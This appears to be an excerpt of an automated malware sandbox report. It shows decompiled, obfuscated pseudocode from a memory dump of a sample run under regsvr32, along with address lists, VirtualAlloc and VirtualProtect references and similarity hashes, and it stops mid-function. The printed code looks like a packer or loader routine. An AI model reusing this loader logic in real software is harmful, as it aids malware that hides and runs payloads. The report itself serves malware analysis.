					_t360 = E010D4F80(_t409, 0, _t459, _t477, _t478); // executed
					_t346 = E010D4E93(_t360, _t409, 0, _t459, _t477, _t478,  *((intOrPtr*)(_t409 + 0x443b7b)));
				}
				 *(_t495 - 8) = _t346;
				_push(0);
				 *(_t495 + 4) =  *(_t495 + 4) & 0x00000000;
				 *(_t495 + 4) =  *(_t495 + 4) | 0x0 -  *_t504 ^ (_t459 & 0x00000000 | _t346 ^  *(_t495 - 8) |  *(_t409 + 0x443dbd));
				asm("popad");
				return  *(_t495 - 8);
			}

0x010d26a7
0x010d26a7
0x010d26a7
0x010d6ae1
0x010d6ae3
0x010d6ae4
0x010d6aec
0x010d6af2
0x010d6af5
0x010d6afb
0x010d6afc
0x010d6b00
0x010d6b09
0x010d6b10
0x010d6b13
0x010d6b1c
0x010d6b20
0x010d6b23
0x010d6b26
0x010d6b32
0x010d6b39
0x010d6b3f
0x010d6b40
0x010d6b43
0x010d6b46
0x010d6b4a
0x010d6b4d
0x010d6b50
0x010d6b54
0x010d6b57
0x010d6b60
0x010d6b61
0x010d6b65
0x010d6b6e
0x010d6b6f
0x010d6b73
0x010d6b76
0x010d6b82
0x010d6b89
0x010d6b8f
0x010d6b92
0x010d6b98
0x010d6b9e
0x010d6b9f
0x010d6ba3
0x010d6bac
0x010d6baf
0x010d6bb8
0x010d6bbb
0x010d6bbe
0x010d6bca
0x010d6bd1
0x010d6bd7
0x010d6bdd
0x010d6be0
0x010d6bea
0x010d6beb
0x010d6bee
0x010d6bf7
0x010d6bfb
0x010d6bfe
0x010d6c07
0x010d6c0b
0x010d6c0e
0x010d6c11
0x010d6c1d
0x010d6c24
0x010d6c2a
0x010d6c34
0x010d6c37
0x010d6c3f
0x010d6c46
0x010d6c4c
0x010d6c55
0x010d6c59
0x010d6c5c
0x010d6c65
0x010d6c6c
0x010d6c6f
0x010d6c72
0x010d6c78
0x010d6c80
0x010d6c87
0x010d6c8d
0x010d6c97
0x010d6ca3
0x010d6ca7
0x010d6caa
0x010d6cb3
0x010d6cb4
0x010d6cb7
0x010d6cc0
0x010d6cc1
0x010d6cc4
0x010d6cc7
0x010d6cd3
0x010d6cda
0x010d6cdd
0x010d6ce6
0x010d6cea
0x010d6ced
0x010d6cf6
0x010d6cf9
0x010d6cfc
0x010d6d04
0x010d6d0b
0x010d6d11
0x010d6d14
0x010d6d17
0x010d6d1a
0x010d6d1b
0x010d6d1f
0x010d6d28
0x010d6d29
0x010d6d2d
0x010d6d36
0x010d6d37
0x010d6d3b
0x010d6d3e
0x010d6d44
0x010d6d4c
0x010d6d53
0x010d6d59
0x010d6d5c
0x010d6d64
0x010d6d65
0x010d6d68
0x010d6d71
0x010d6d78
0x010d6d7b
0x010d6d84
0x010d6d85
0x010d6d88
0x010d6d8b
0x010d6d91
0x010d6d9d
0x010d6da0
0x010d6da9
0x010d6daa
0x010d6dae
0x010d6db7
0x010d6db8
0x010d6dbb
0x010d6dbe
0x010d6dd0
0x010d6dd7
0x010d6de3
0x010d6de6
0x010d6dec
0x010d6df4
0x010d6dfb
0x010d6e01
0x010d6e04
0x010d6e0a
0x010d6e0b
0x010d6e0e
0x010d6e17
0x010d6e1a
0x010d6e23
0x010d6e24
0x010d6e28
0x010d6e2b
0x010d6e37
0x010d6e3e
0x010d6e4b
0x010d6e4e
0x010d6e4e
0x010d6e53
0x010d6e62
0x010d6e6b
0x010d6e75
0x010d6e7e
0x010d6e7f
0x010d6e82
0x010d6e85
0x010d6e97
0x010d6ea1
0x010d6ead
0x010d6eb6
0x010d6eb7
0x010d6eba
0x010d6ebd
0x010d6ed0
0x010d6ed4
0x010d6edd
0x010d6ee7
0x010d6eea
0x010d6ef0
0x010d6ef7
0x010d6f00
0x010d6f0b
0x010d6f15
0x010d6f1e
0x010d6f28
0x010d6f2b
0x010d6f38
0x010d6f3e
0x010d6f3e
0x010d6f43
0x010d6f50
0x010d6f52
0x010d6f55
0x010d6f61
0x010d6f6a
0x010d6f74
0x010d6f77
0x010d6f7d
0x010d6f84
0x010d6f8a
0x010d6f8f
0x010d6f92
0x010d6fa2
0x010d6fa4
0x010d6fa6
0x010d6faa
0x010d6fb4
0x010d6fb8
0x010d6fc2
0x010d6fc6
0x010d6fc9
0x010d6fd0
0x010d6fd3
0x010d6fd6
0x010d6fe2
0x010d6fe5
0x010d6fe9
0x010d6fec
0x010d6fed
0x010d6ff3
0x010d6ffd
0x010d7006
0x010d7010
0x010d7019
0x010d7023
0x010d7026
0x010d702c
0x010d7034
0x010d703b
0x010d704a
0x010d704d
0x010d7051
0x010d7055
0x010d7058
0x010d7062
0x010d706c
0x010d7070
0x010d707a
0x010d707e
0x010d7081
0x010d7089
0x010d7090
0x010d7096
0x010d709d
0x010d70a0
0x010d70a3
0x010d70ab
0x010d70b5
0x010d70b8
0x010d70c1
0x010d70c8
0x010d70cb
0x010d70d1
0x010d70d8
0x010d70e3
0x010d70e6
0x010d70e6
0x010d70f0
0x010d70f1
0x010d70f8
0x010d70fc
0x010d7100
0x010d7109
0x010d7110
0x010d711a
0x010d711e
0x010d7121
0x010d712d
0x010d7134
0x010d713a
0x010d713d
0x010d7140
0x010d714b
0x010d714b
0x010d714b
0x010d7153
0x010d715a
0x010d7163
0x010d716a
0x010d716d
0x010d7174
0x010d7177
0x010d717a
0x010d7186
0x010d7193
0x010d7197
0x010d71a1
0x010d71a5
0x010d71ae
0x010d71af
0x010d71b2
0x010d71b5
0x010d71bb
0x010d71c7
0x010d71d1
0x010d71db
0x010d71de
0x010d71e7
0x010d71e8
0x010d71eb
0x010d71ee
0x010d7203
0x010d720c
0x010d7213
0x010d721c
0x010d721d
0x010d7220
0x010d7223
0x010d7229
0x010d7234
0x010d7234
0x010d7239
0x010d724d
0x010d7253
0x010d7257
0x010d725b
0x010d725d

APIs

VirtualAlloc.KERNELBASE(?,00000000,?), ref: 010D6AF5
VirtualProtect.KERNELBASE(?,00000000,?,00000000,00000000,?,?,?,?), ref: 010D6E04

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: c2279619827d61c617db3e5e536956478cc25deeaba67a8e20d091e09a7cfa2f
Instruction ID: 717a303c05f65978b70d520a9b96e67aa7ac0306d261183032f701bc435a99ea
Opcode Fuzzy Hash: c2279619827d61c617db3e5e536956478cc25deeaba67a8e20d091e09a7cfa2f
Instruction Fuzzy Hash: CE423672804608EFEF04DFA0C58ABADBBF4FF04712F1544AED889AA146D7741664DF29

Uniqueness

Uniqueness Score: -1.00%

Function 010D4F80, Relevance: 2.8, APIs: 1, Instructions: 1264
memoryCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E010D4F80(signed int __ebx, signed int __ecx, signed int __edx, void* __edi, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _t706;
				signed int _t709;
				signed int _t712;
				signed int _t716;
				signed int _t730;
				signed int _t731;
				signed int _t734;
				void* _t738;
				signed int _t741;
				signed int _t744;
				signed int _t747;
				signed int _t750;
				signed int _t754;
				intOrPtr _t763;
				signed int _t767;
				signed int _t768;
				signed int _t771;
				signed int _t776;
				intOrPtr _t780;
				intOrPtr _t786;
				signed int _t788;
				signed int _t791;
				signed int _t796;
				signed int _t800;
				intOrPtr _t805;
				signed int _t808;
				signed int _t811;
				signed int _t817;
				signed int _t823;
				signed int _t829;
				signed int _t832;
				signed int _t835;
				intOrPtr _t838;
				signed int _t841;
				signed int _t844;
				signed int _t851;
				signed int _t854;
				signed int _t857;
				signed int _t860;
				signed int _t863;
				signed int _t864;
				signed int _t867;
				signed int _t873;
				signed int _t878;
				intOrPtr _t881;
				signed int _t884;
				signed int _t887;
				void* _t888;
				signed int _t894;
				signed int _t897;
				signed int _t900;
				signed int _t903;
				signed int _t907;
				signed int _t911;
				signed int _t914;
				signed int _t917;
				intOrPtr _t920;
				signed int _t924;
				signed int _t928;
				signed int _t931;
				signed int _t934;
				signed int _t939;
				signed int _t942;
				signed int _t945;
				signed int _t952;
				signed int _t955;
				signed int _t957;
				signed int _t960;
				void* _t963;
				signed int _t966;
				signed int _t970;
				signed int _t974;
				signed int _t977;
				int _t979;
				signed int _t985;
				signed int _t988;
				void* _t993;
				signed int _t994;
				signed int _t999;
				void* _t1002;
				signed int _t1012;
				signed int _t1015;
				signed int _t1018;
				signed int _t1022;
				signed int _t1024;
				signed int _t1026;
				signed int _t1029;
				signed int _t1034;
				signed int _t1038;
				signed int _t1040;
				signed int _t1043;
				signed int _t1046;
				signed int _t1051;
				signed int _t1054;
				signed int _t1059;
				signed int _t1061;
				signed int _t1063;
				signed int _t1071;
				signed int _t1074;
				signed int _t1077;
				signed int _t1079;
				signed int _t1082;
				signed int _t1085;
				void* _t1088;
				signed int _t1092;
				signed int _t1095;
				signed int _t1098;
				signed int _t1099;
				signed int _t1105;
				signed int _t1112;
				signed int _t1115;
				signed int _t1118;
				signed int _t1121;
				signed int _t1124;
				signed int _t1130;
				signed int _t1133;
				signed int _t1136;
				signed int _t1139;
				signed int _t1142;
				signed int _t1145;
				signed int _t1148;
				signed int _t1159;
				signed int _t1162;
				signed int _t1164;
				void* _t1167;
				void* _t1168;
				signed int _t1173;
				signed int _t1178;
				signed int _t1181;
				void* _t1184;
				signed int _t1185;
				void* _t1188;
				signed int _t1191;
				signed int _t1197;
				signed int _t1200;
				signed int* _t1201;
				signed int* _t1202;
				signed int* _t1203;
				signed int* _t1204;
				signed int* _t1205;
				signed int* _t1206;
				signed int* _t1207;
				signed int* _t1208;
				signed int* _t1209;
				signed int* _t1210;
				signed int* _t1211;
				signed int* _t1212;
				signed int* _t1213;
				signed int* _t1214;
				signed int* _t1215;
				signed int* _t1216;
				signed int* _t1217;
				signed int* _t1218;
				signed int* _t1219;
				signed int* _t1221;
				signed int* _t1222;
				signed int* _t1223;
				intOrPtr* _t1227;
				signed int* _t1228;
				signed int* _t1229;

				_push(__ecx);
				 *_t1200 =  *_t1200 & 0x00000000;
				 *_t1200 =  *_t1200 + _t1184;
				_t1185 = _t1200;
				_t1201 = _t1200 + 0xfffffff0;
				_push(_v16);
				 *_t1201 = __ecx;
				_push(_t1185);
				 *_t1201 =  *_t1201 & 0x00000000;
				 *_t1201 =  *_t1201 | __edx;
				_push(_v16);
				 *_t1201 = __ebx + 0x444ed5;
				_v16 = _v16 & 0x00000000;
				_push(_v16);
				 *_t1201 =  *_t1201 + __ebx + 0x444fef;
				_t706 =  *((intOrPtr*)(__ebx + 0x445214))();
				_v20 = __edx;
				 *(__ebx + 0x444064) =  *(__ebx + 0x444064) & 0x00000000;
				 *(__ebx + 0x444064) =  *(__ebx + 0x444064) | __edx - _v20 ^ _t706;
				_t1202 = _t1201 - 0xfffffffc;
				_t939 =  *_t1202;
				_t1203 = _t1202 - 0xfffffffc;
				_push(_v16);
				 *_t1203 = _t939;
				_v12 = 0;
				_push(_v12);
				 *_t1203 =  *_t1203 |  *_t1201;
				_push(_t939);
				 *_t1203 =  *_t1203 & 0x00000000;
				 *_t1203 =  *_t1203 + __ebx + 0x443d7e;
				 *_t1203 =  *_t1203 & 0x00000000;
				 *_t1203 =  *_t1203 | __ebx + 0x00443737;
				_t709 =  *((intOrPtr*)(__ebx + 0x445214))();
				 *_t1203 = _t939;
				 *(__ebx + 0x444de0) = 0 ^ _t709;
				_t942 = 0;
				 *_t23 = _t1185;
				_t1012 = _v12;
				_v12 = 0;
				_push(_v12);
				 *_t1203 =  *_t1203 ^ _t1012;
				_push(_v16);
				 *_t1203 = __ebx + 0x443b45;
				_v20 = 0;
				_push(_v20);
				 *_t1203 =  *_t1203 | __ebx + 0x00444f4f;
				_t712 =  *((intOrPtr*)(__ebx + 0x445214))();
				_v16 = _t942;
				 *(__ebx + 0x444253) =  *(__ebx + 0x444253) & 0x00000000;
				 *(__ebx + 0x444253) =  *(__ebx + 0x444253) ^ _t942 - _v16 ^ _t712;
				_t945 = _v16;
				_v12 = _v12 & 0x00000000;
				_push(_v12);
				 *_t1203 =  *_t1203 | __ebx + 0x00443ef5;
				_push(_t1012);
				 *_t1203 =  *_t1203 & 0x00000000;
				 *_t1203 =  *_t1203 | __ebx + 0x004440f1;
				 *_t1203 =  *_t1203 & 0x00000000;
				 *_t1203 =  *_t1203 | __ebx + 0x0044375e;
				_t716 =  *((intOrPtr*)(__ebx + 0x445214))();
				_v20 = _t1012;
				 *(__ebx + 0x443e4c) = 0 ^ _t716;
				_t1015 = _v20;
				 *_t50 = _t945;
				_v16 = _v16 & 0x00000000;
				_push(_v16);
				 *_t1203 =  *_t1203 + (_t716 & 0x00000000 | _v12);
				_push(_v16);
				 *_t1203 = __ebx + 0x443407;
				_push(_v12);
				 *_t1203 = __ebx + 0x443135;
				_push( *((intOrPtr*)(__ebx + 0x445214))());
				_pop( *_t60);
				_push(_v12);
				_pop( *_t62);
				_push(_v12);
				 *_t1203 = __ebx + 0x4431cc;
				_push(__ebx);
				 *_t1203 =  *_t1203 & 0x00000000;
				 *_t1203 =  *_t1203 | __ebx + 0x00444a35;
				_v16 = _v16 & 0x00000000;
				_push(_v16);
				 *_t1203 =  *_t1203 | __ebx + 0x00443db5;
				_push( *((intOrPtr*)(__ebx + 0x445214))());
				_pop( *_t71);
				_push(_v12);
				_pop( *_t73);
				_t1204 = _t1203 - 0xfffffffc;
				_v12 = _v12 & 0x00000000;
				_push(_v12);
				 *_t1204 =  *_t1204 |  *_t1203;
				_v20 = 0;
				_push(_v20);
				 *_t1204 =  *_t1204 + __ebx + 0x444477;
				_push(_v16);
				 *_t1204 = __ebx + 0x443dcf;
				_t730 =  *((intOrPtr*)(__ebx + 0x445214))();
				 *(__ebx + 0x444935) =  *(__ebx + 0x444935) & 0x00000000;
				 *(__ebx + 0x444935) =  *(__ebx + 0x444935) | _t1015 -  *_t1204 ^ _t730;
				_t1018 = _t1015;
				_t731 =  *((intOrPtr*)(__ebx + 0x445214))();
				_push(_v16);
				 *_t1204 = _t731;
				_push(_v12);
				 *_t1204 = __ebx + 0x444117;
				_push(__edi);
				 *_t1204 =  *_t1204 - __edi;
				 *_t1204 =  *_t1204 | __ebx + 0x00444b0a;
				_t734 =  *((intOrPtr*)(__ebx + 0x445214))();
				_v20 = __esi;
				 *(__ebx + 0x4445ba) = 0 ^ _t734;
				_t1130 = _v20;
				_pop( *_t96);
				_push(__edi);
				 *(__ebx + 0x444bb7) =  *(__ebx + 0x444bb7) & 0x00000000;
				 *(__ebx + 0x444bb7) =  *(__ebx + 0x444bb7) | __edi -  *_t1204 ^ _v12;
				_pop(_t1071);
				_push(_t1130);
				 *_t1204 =  *_t1204 & 0x00000000;
				 *_t1204 =  *_t1204 | __ebx + 0x00444679;
				_v12 = 0;
				_push(_v12);
				 *_t1204 =  *_t1204 | __ebx + 0x00444873;
				_t738 =  *((intOrPtr*)(__ebx + 0x445214))();
				 *_t107 = _t738;
				_push(_v12);
				_pop( *_t109);
				_t1205 = _t1204 - 0xfffffffc;
				_push(_t738);
				 *_t1205 =  *_t1205 & 0x00000000;
				 *_t1205 =  *_t1205 | (_t1018 & 0x00000000) +  *_t1204;
				_v12 = _v12 & 0x00000000;
				_push(_v12);
				 *_t1205 =  *_t1205 ^ __ebx + 0x00443d73;
				_v12 = 0;
				_push(_v12);
				 *_t1205 =  *_t1205 ^ __ebx + 0x0044385a;
				_t741 =  *((intOrPtr*)(__ebx + 0x445214))();
				 *(__ebx + 0x4432b9) =  *(__ebx + 0x4432b9) & 0x00000000;
				 *(__ebx + 0x4432b9) =  *(__ebx + 0x4432b9) ^ _t945 & 0x00000000 ^ _t741;
				 *_t122 = _t945;
				_t1022 = 0 ^ _v12;
				_pop( *_t124);
				_v16 = _v16 & 0x00000000;
				_push(_v16);
				 *_t1205 =  *_t1205 + _v16;
				_v20 = _v20 & 0x00000000;
				_push(_v20);
				 *_t1205 =  *_t1205 ^ _t1022;
				_push(_t1022);
				 *_t1205 =  *_t1205 ^ _t1022;
				 *_t1205 =  *_t1205 + __ebx + 0x4437eb;
				_v12 = _v12 & 0x00000000;
				_push(_v12);
				 *_t1205 =  *_t1205 | __ebx + 0x0044302c;
				_t744 =  *((intOrPtr*)(__ebx + 0x445214))();
				_v12 = _t1071;
				 *(__ebx + 0x444821) = 0 ^ _t744;
				_t1074 = _v12;
				_pop( *_t141);
				_t1024 = _t1022 & 0x00000000 | _v20;
				_t1206 =  &(_t1205[1]);
				_v12 = _v12 & 0x00000000;
				_push(_v12);
				 *_t1206 =  *_t1206 | _t1024;
				_push(_t1024);
				 *_t1206 =  *_t1206 ^ _t1024;
				 *_t1206 =  *_t1205;
				_push(_t1074);
				 *_t1206 =  *_t1206 & 0x00000000;
				 *_t1206 =  *_t1206 | __ebx + 0x0044368e;
				_v16 = _v16 & 0x00000000;
				_push(_v16);
				 *_t1206 =  *_t1206 | __ebx + 0x004445fe;
				_t747 =  *((intOrPtr*)(__ebx + 0x445214))();
				 *(__ebx + 0x444903) =  *(__ebx + 0x444903) & 0x00000000;
				 *(__ebx + 0x444903) =  *(__ebx + 0x444903) | _t1130 & 0x00000000 ^ _t747;
				_t1133 = _t1130;
				_pop( *_t156);
				_t952 = _v20;
				_v12 = 0;
				_push(_v12);
				 *_t1206 =  *_t1206 + _t952;
				_v16 = 0;
				_push(_v16);
				 *_t1206 =  *_t1206 + __ebx + 0x4442e4;
				_push(__ebx);
				 *_t1206 =  *_t1206 ^ __ebx;
				 *_t1206 =  *_t1206 ^ __ebx + 0x00443699;
				_t750 =  *((intOrPtr*)(__ebx + 0x445214))();
				 *(__ebx + 0x443167) =  *(__ebx + 0x443167) & 0x00000000;
				 *(__ebx + 0x443167) =  *(__ebx + 0x443167) ^ _t1074 & 0x00000000 ^ _t750;
				_t1077 = _t1074;
				_push(_t952);
				 *_t1206 =  *_t1206 ^ _t952;
				 *_t1206 =  *_t1206 | __ebx + 0x00443c56;
				_push(_t1185);
				 *_t1206 =  *_t1206 ^ _t1185;
				 *_t1206 = __ebx + 0x443894;
				_push(_t1024);
				 *_t1206 =  *_t1206 - _t1024;
				 *_t1206 =  *_t1206 | __ebx + 0x00444ad8;
				_t754 =  *((intOrPtr*)(__ebx + 0x445214))();
				_v20 = _t952;
				 *(__ebx + 0x4438d1) =  *(__ebx + 0x4438d1) & 0x00000000;
				 *(__ebx + 0x4438d1) =  *(__ebx + 0x4438d1) | _t952 & 0x00000000 ^ _t754;
				_t955 = _v20;
				_t1207 = _t1206 - 0xfffffffc;
				_push(_t1185);
				 *_t1207 =  *_t1207 & 0x00000000;
				 *_t1207 =  *_t1207 + (0 ^  *_t1206);
				_push(_t1185);
				 *_t1207 =  *_t1207 & 0x00000000;
				 *_t1207 =  *_t1207 + __ebx + 0x444161;
				_v12 = _v12 & 0x00000000;
				_push(_v12);
				 *_t1207 =  *_t1207 | __ebx + 0x00443a8b;
				_push( *((intOrPtr*)(__ebx + 0x445214))());
				_pop( *_t185);
				_push(_v20);
				_pop( *_t187);
				_push(_v16);
				 *_t1207 = __ebx + 0x4437fe;
				_push(_t1077);
				 *_t1207 =  *_t1207 & 0x00000000;
				 *_t1207 =  *_t1207 ^ __ebx + 0x00443ca2;
				_push(_v12);
				 *_t1207 = __ebx + 0x4449e1;
				_t763 =  *((intOrPtr*)(__ebx + 0x445214))();
				 *_t1207 = _t1133;
				 *((intOrPtr*)(__ebx + 0x444050)) = _t763;
				_t1136 = 0;
				_pop( *_t195);
				_v12 = _v12 & 0x00000000;
				_push(_v12);
				 *_t1207 =  *_t1207 | _v12;
				_push(_v16);
				 *_t1207 = __ebx + 0x4438b1;
				_push(_t1136);
				 *_t1207 =  *_t1207 - _t1136;
				 *_t1207 =  *_t1207 + __ebx + 0x443a94;
				_t767 =  *((intOrPtr*)(__ebx + 0x445214))();
				_v20 = _t1136;
				 *(__ebx + 0x443ce6) = 0 ^ _t767;
				_t1139 = _v20;
				_t768 =  *((intOrPtr*)(__ebx + 0x445214))();
				_push(_t955);
				 *_t1207 =  *_t1207 - _t955;
				 *_t1207 =  *_t1207 | _t768;
				_push(_v16);
				 *_t1207 = __ebx + 0x4433c2;
				_push(_t1139);
				 *_t1207 =  *_t1207 ^ _t1139;
				 *_t1207 =  *_t1207 | __ebx + 0x00443429;
				_t771 =  *((intOrPtr*)(__ebx + 0x445214))();
				 *(__ebx + 0x443ef1) =  *(__ebx + 0x443ef1) & 0x00000000;
				 *(__ebx + 0x443ef1) =  *(__ebx + 0x443ef1) | _t1185 ^  *_t1207 | _t771;
				_t1188 = _t1185;
				_t1208 =  &(_t1207[1]);
				_push( *_t1207);
				_pop( *_t216);
				_push(_v12);
				_pop( *_t218);
				_t957 =  *_t1208;
				_t1209 = _t1208 - 0xfffffffc;
				_push(_t1077);
				 *_t1209 =  *_t1209 & 0x00000000;
				 *_t1209 =  *_t1209 | _t957;
				_v12 = _v12 & 0x00000000;
				_push(_v12);
				 *_t1209 =  *_t1209 ^ __ebx + 0x0044384e;
				_push(_t1077);
				 *_t1209 =  *_t1209 & 0x00000000;
				 *_t1209 =  *_t1209 + __ebx + 0x44475e;
				_t776 =  *((intOrPtr*)(__ebx + 0x445214))();
				 *(__ebx + 0x443e2a) =  *(__ebx + 0x443e2a) & 0x00000000;
				 *(__ebx + 0x443e2a) =  *(__ebx + 0x443e2a) | _t957 & 0x00000000 | _t776;
				_t960 = _t957;
				 *_t1209 = _t1139;
				_t1142 = 0;
				_v16 = _v16 & 0x00000000;
				_push(_v16);
				 *_t1209 =  *_t1209 ^ 0 ^ _a4;
				_push(_t1077);
				 *_t1209 =  *_t1209 & 0x00000000;
				 *_t1209 =  *_t1209 + __ebx + 0x443672;
				_push(_t1077);
				 *_t1209 =  *_t1209 & 0x00000000;
				 *_t1209 =  *_t1209 + __ebx + 0x44423a;
				_t780 =  *((intOrPtr*)(__ebx + 0x445214))();
				 *_t1209 = _t960;
				 *((intOrPtr*)(__ebx + 0x4433be)) = _t780;
				_t963 = 0;
				_t1210 =  &(_t1209[1]);
				_push(_t1142);
				 *_t1210 =  *_t1210 - _t1142;
				 *_t1210 =  *_t1210 |  *_t1209 +  *((intOrPtr*)( *_t1209 + 0x3c));
				_push(_v16);
				 *_t1210 = __ebx + 0x44412d;
				_push(_t963);
				 *_t1210 =  *_t1210 - _t963;
				 *_t1210 =  *_t1210 + __ebx + 0x443b93;
				_t786 =  *((intOrPtr*)(__ebx + 0x445214))();
				_v20 = _t1142;
				 *((intOrPtr*)(__ebx + 0x44315d)) = _t786;
				_t1145 = _v20;
				_t788 =  *_t1210;
				_t1211 = _t1210 - 0xfffffffc;
				_push(_t1077);
				 *_t1211 =  *_t1211 & 0x00000000;
				 *_t1211 =  *_t1211 | _t788;
				_push(_t1024);
				 *_t1211 =  *_t1211 ^ _t1024;
				 *_t1211 =  *_t1211 + _t788;
				_v16 = 0;
				_push(_v16);
				 *_t1211 =  *_t1211 | __ebx + 0x00443822;
				_push(_v20);
				 *_t1211 = __ebx + 0x444769;
				_t791 =  *((intOrPtr*)(__ebx + 0x445214))();
				_v16 = _t1145;
				 *(__ebx + 0x444949) =  *(__ebx + 0x444949) & 0x00000000;
				 *(__ebx + 0x444949) =  *(__ebx + 0x444949) | _t1145 ^ _v16 | _t791;
				_t1148 = _v16;
				_t1212 = _t1211 - 0xfffffffc;
				_v20 = _t1148;
				_t1079 = _t1077 & 0x00000000 ^ _t1148 ^ _v20 ^  *_t1211;
				_v16 = 0;
				_push(_v16);
				 *_t1212 =  *_t1212 + __ebx + 0x444733;
				_v12 = 0;
				_push(_v12);
				 *_t1212 =  *_t1212 ^ __ebx + 0x0044338a;
				_t796 =  *((intOrPtr*)(__ebx + 0x445214))();
				 *(__ebx + 0x443237) =  *(__ebx + 0x443237) & 0x00000000;
				 *(__ebx + 0x443237) =  *(__ebx + 0x443237) | _t1079 & 0x00000000 ^ _t796;
				_t1082 = _t1079;
				_push(_t1082);
				 *_t1212 =  *_t1212 ^ _t1082;
				 *_t1212 =  *_t1212 ^  *(_t1082 + 6) & 0x0000ffff;
				_push(_t1024);
				 *_t1212 =  *_t1212 & 0x00000000;
				 *_t1212 =  *_t1212 | __ebx + 0x004449ee;
				 *_t1212 =  *_t1212 & 0x00000000;
				 *_t1212 =  *_t1212 + __ebx + 0x443b01;
				_t800 =  *((intOrPtr*)(__ebx + 0x445214))();
				 *_t1212 = _t1082;
				 *(__ebx + 0x44321b) = 0 ^ _t800;
				_t1085 = 0;
				 *_t277 = _t1188;
				_push(__ebx);
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 ^ __ebx & 0x00000000 ^ _t800 & 0x00000000 ^ _v20;
				_pop(_t928);
				 *_t1212 = _t928 + 0x4447eb;
				 *_t1212 = _t928 + 0x444a02;
				_t805 =  *((intOrPtr*)(_t928 + 0x445214))(_v12, _v12);
				 *((intOrPtr*)(_t928 + 0x444675)) = _t805;
				_v12 = 0;
				 *_t1212 =  *_t1212 ^ _t1085;
				_v12 = _v12 & 0x00000000;
				 *_t1212 =  *_t1212 ^ _t928 + 0x00444d71;
				 *_t1212 = _t928 + 0x44301d;
				_t808 =  *((intOrPtr*)(_t928 + 0x445214))(_v16, _v12, _v12);
				 *(_t928 + 0x44349b) =  *(_t928 + 0x44349b) & 0x00000000;
				 *(_t928 + 0x44349b) =  *(_t928 + 0x44349b) | _t1085 ^  *_t1212 | _t808;
				_t1088 = _t1085;
				_t1026 = _t1024 & 0x00000000 ^ (_t1188 -  *_t1212 |  *(_t1088 + 0x54));
				_t1191 = _t1188;
				 *_t1212 =  *_t1212 & 0x00000000;
				 *_t1212 =  *_t1212 | _t1026;
				 *_t1212 =  *_t1212 ^ _t1026;
				 *_t1212 =  *_t1212 ^ _t928 + 0x00444ee8;
				 *_t1212 =  *_t1212 ^ _t1026;
				 *_t1212 =  *_t1212 + _t928 + 0x4448ff;
				_t811 =  *((intOrPtr*)(_t928 + 0x445214))(_t1026, _t1026, _t808);
				 *(_t928 + 0x4435d2) =  *(_t928 + 0x4435d2) & 0x00000000;
				 *(_t928 + 0x4435d2) =  *(_t928 + 0x4435d2) ^ _t1026 -  *_t1212 ^ _t811;
				_t1029 = _t1026;
				_t1213 =  &(_t1212[1]);
				 *_t1213 = _t1029 & 0x00000000 ^  *_t1212;
				_t1034 = 0;
				 *_t1213 =  *_t1213 ^ _t928;
				 *_t1213 =  *_t1213 | _t1034;
				 *_t1213 =  *_t1213 - _t1034;
				 *_t1213 =  *_t1213 | _t928 + 0x004441b3;
				 *_t1213 =  *_t1213 ^ _t1034;
				 *_t1213 = _t928 + 0x44329f;
				_push( *((intOrPtr*)(_t928 + 0x445214))(_t1034, _t1034, _t928));
				_pop( *_t316);
				_push(_v16);
				_pop( *_t318);
				_t1214 = _t1213 - 0xfffffffc;
				_t966 = _t963;
				 *_t1214 =  *_t1213;
				_v12 = _v12 & 0x00000000;
				 *_t1214 =  *_t1214 + _t928 + 0x444f31;
				 *_t1214 =  *_t1214 - _t1191;
				 *_t1214 =  *_t1214 ^ _t928 + 0x00444cd5;
				_t817 =  *((intOrPtr*)(_t928 + 0x445214))(_t1191, _v12, _v12);
				_v16 =  *((intOrPtr*)(_t928 + 0x443044));
				 *(_t928 + 0x444923) = 0 ^ _t817;
				_t1092 = _v16;
				_t1038 =  *_t1214;
				_t1215 = _t1214 - 0xfffffffc;
				_v20 = _t817;
				 *_t1215 = _t966 & 0x00000000 ^ (_t817 - _v20 | _t1038);
				 *_t1215 = _t1038;
				 *_t1215 = _t928 + 0x444010;
				_v20 = _v20 & 0x00000000;
				 *_t1215 =  *_t1215 | _t928 + 0x004432e2;
				_t823 =  *((intOrPtr*)(_t928 + 0x445214))(_v20, _v16, _v16, _v20);
				_v20 = _v20 & 0x00000000 ^ _t963 -  *_t1214 ^ _a4;
				 *(_t928 + 0x44344e) = 0 ^ _t823;
				_t1159 = _v20;
				_t1040 =  *_t1215;
				_t1216 = _t1215 - 0xfffffffc;
				_pop( *_t345);
				_t970 = 0 + _v16;
				if(_t1092 != _t1159) {
					_v12 = 0;
					 *_t1216 =  *_t1216 + _t970;
					 *_t1216 =  *_t1216 ^ _t1159;
					 *_t1216 =  *_t1216 + _t1040;
					 *_t1216 =  *_t1216 - _t1040;
					 *_t1216 = _t928 + 0x444b6a;
					_v20 = _v20 & 0x00000000;
					 *_t1216 =  *_t1216 + _t928 + 0x443d93;
					_push( *((intOrPtr*)(_t928 + 0x445214))(_v20, _t1159, _v12));
					_pop( *_t355);
					_push(_v12);
					_pop( *_t357);
					_pop( *_t358);
					_t1054 = _v16;
					 *_t360 = _t1040;
					_t994 = _v12;
					do {
						asm("movsb");
						 *_t1216 = _t994;
						 *_t1216 = _t1054;
						_v20 = _v20 & 0x00000000;
						 *_t1216 =  *_t1216 + _t928 + 0x443c98;
						 *_t1216 = _t928 + 0x444cbf;
						_t894 =  *((intOrPtr*)(_t928 + 0x445214))(_v20, _v20, _v20, _v12);
						 *(_t928 + 0x44487a) =  *(_t928 + 0x44487a) & 0x00000000;
						 *(_t928 + 0x44487a) =  *(_t928 + 0x44487a) | _t1092 ^  *_t1216 | _t894;
						_t1092 = _t1092;
						_t1054 = 0 ^  *_t1216;
						_t1227 = _t1216 - 0xfffffffc;
						_t1216 = _t1227 - 0xfffffffc;
						_t994 =  *_t1227 - 1;
					} while (_t994 != 0);
					_v16 = _v16 & 0x00000000;
					 *_t1216 =  *_t1216 | _t1054;
					 *_t1216 =  *_t1216 ^ _t1092;
					 *_t1216 = _t928 + 0x44323b;
